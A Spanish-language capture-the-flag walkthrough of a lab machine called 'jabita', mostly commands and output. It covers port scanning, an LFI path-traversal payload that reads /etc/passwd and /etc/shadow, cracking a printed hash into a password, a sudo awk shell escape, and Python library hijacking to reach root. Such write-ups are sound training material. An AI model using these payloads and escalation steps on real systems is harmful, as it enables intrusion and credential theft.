Comenzamos con la enumeración de puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.30
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.30
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-07 10:10 -04
Nmap scan report for 192.168.1.30
Host is up (0.00031s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 00:b0:03:d3:92:f8:a0:f9:5a:93:20:7b:f8:0a:aa:da (ECDSA)
|_ 256 dd:b4:26:1d:0c:e7:38:c3:7a:2f:07:be:f8:74:3e:bc (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.66 secondsEnumeramos directorios:
❯ gobuster dir -u 'http://192.168.1.30' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,gif,png,sql,sh -r
...
/index.html (Status: 200) [Size: 62]
/building (Status: 500) [Size: 508]
...En /building, el navbar carga las páginas mediante un parámetro page, lo que sugiere LFI:
<a href="/building/index.php?page=home.php" class="w3-bar-item w3-button">Home</a>Lo confirmamos leyendo /etc/passwd (descubrimos jack y jaba) y, sobre todo, /etc/shadow:
❯ curl 'http://192.168.1.30/building/index.php?page=../../../../../../../../etc/passwd'
❯ curl 'http://192.168.1.30/building/index.php?page=../../../../../../../../etc/shadow'
...
root:$y$j9T$avXO7BCR5/iCNmeaGmMSZ0$gD9m7w9/zzi1iC9XoaomnTHTp0vde7smQL1eYJ1V3u1:19240:0:99999:7:::
jack:$6$xyz$FU1GrBztUeX8krU/94RECrFbyaXNqU8VMUh3YThGCAGhlPqYCQryXBln3q2J2vggsYcTrvuDPTGsPJEpn/7U.0:19236:0:99999:7:::
jaba:$y$j9T$pWlo6WbJDbnYz6qZlM87d.$CGQnSEL8aHLlBY/4Il6jFieCPzj7wk54P8K4j/xhi/1:19240:0:99999:7:::
...Crackeamos los hashes con john y cae el de jack:
❯ /opt/john/run/john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt jack_hash
...
joaninha (?)
...Accedemos por SSH como jack y revisamos sudo -l:
jack@jabita:~$ sudo -l
Matching Defaults entries for jack on jabita:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
listpw=never
User jack may run the following commands on jabita:
(jaba : jaba) NOPASSWD: /usr/bin/awkPodemos ejecutar awk como jaba, lo que aprovechamos para obtener su shell y la primera flag:
jack@jabita:~$ sudo -u jaba awk 'BEGIN {system("/bin/bash")}'
jaba@jabita:/home/jack$Revisamos sudo -l como jaba:
jaba@jabita:/tmp$ sudo -l
...
User jaba may run the following commands on jabita:
(root) NOPASSWD: /usr/bin/python3 /usr/bin/clean.pyEl script importa una librería wild:
jaba@jabita:/tmp$ cat /usr/bin/clean.py
import wild
wild.first()Localizamos esa librería y vemos que es escribible:
jaba@jabita:/tmp$ find / -name "wild*" 2>/dev/null
/usr/lib/python3.10/wild.py
jaba@jabita:/tmp$ ls -l /usr/lib/python3.10/wild.py
-rw-r--rw- 1 root root 29 Sep 5 2022 /usr/lib/python3.10/wild.pyHacemos library hijacking: le añadimos una llamada a os.system y ejecutamos el script como root:
jaba@jabita:/tmp$ cat /usr/lib/python3.10/wild.py
import os
def first():
print("hello")
os.system("/bin/bash")
jaba@jabita:/tmp$ sudo python3 /usr/bin/clean.py
hello
root@jabita:/tmp#Obtenemos nuestra flag.
Fin.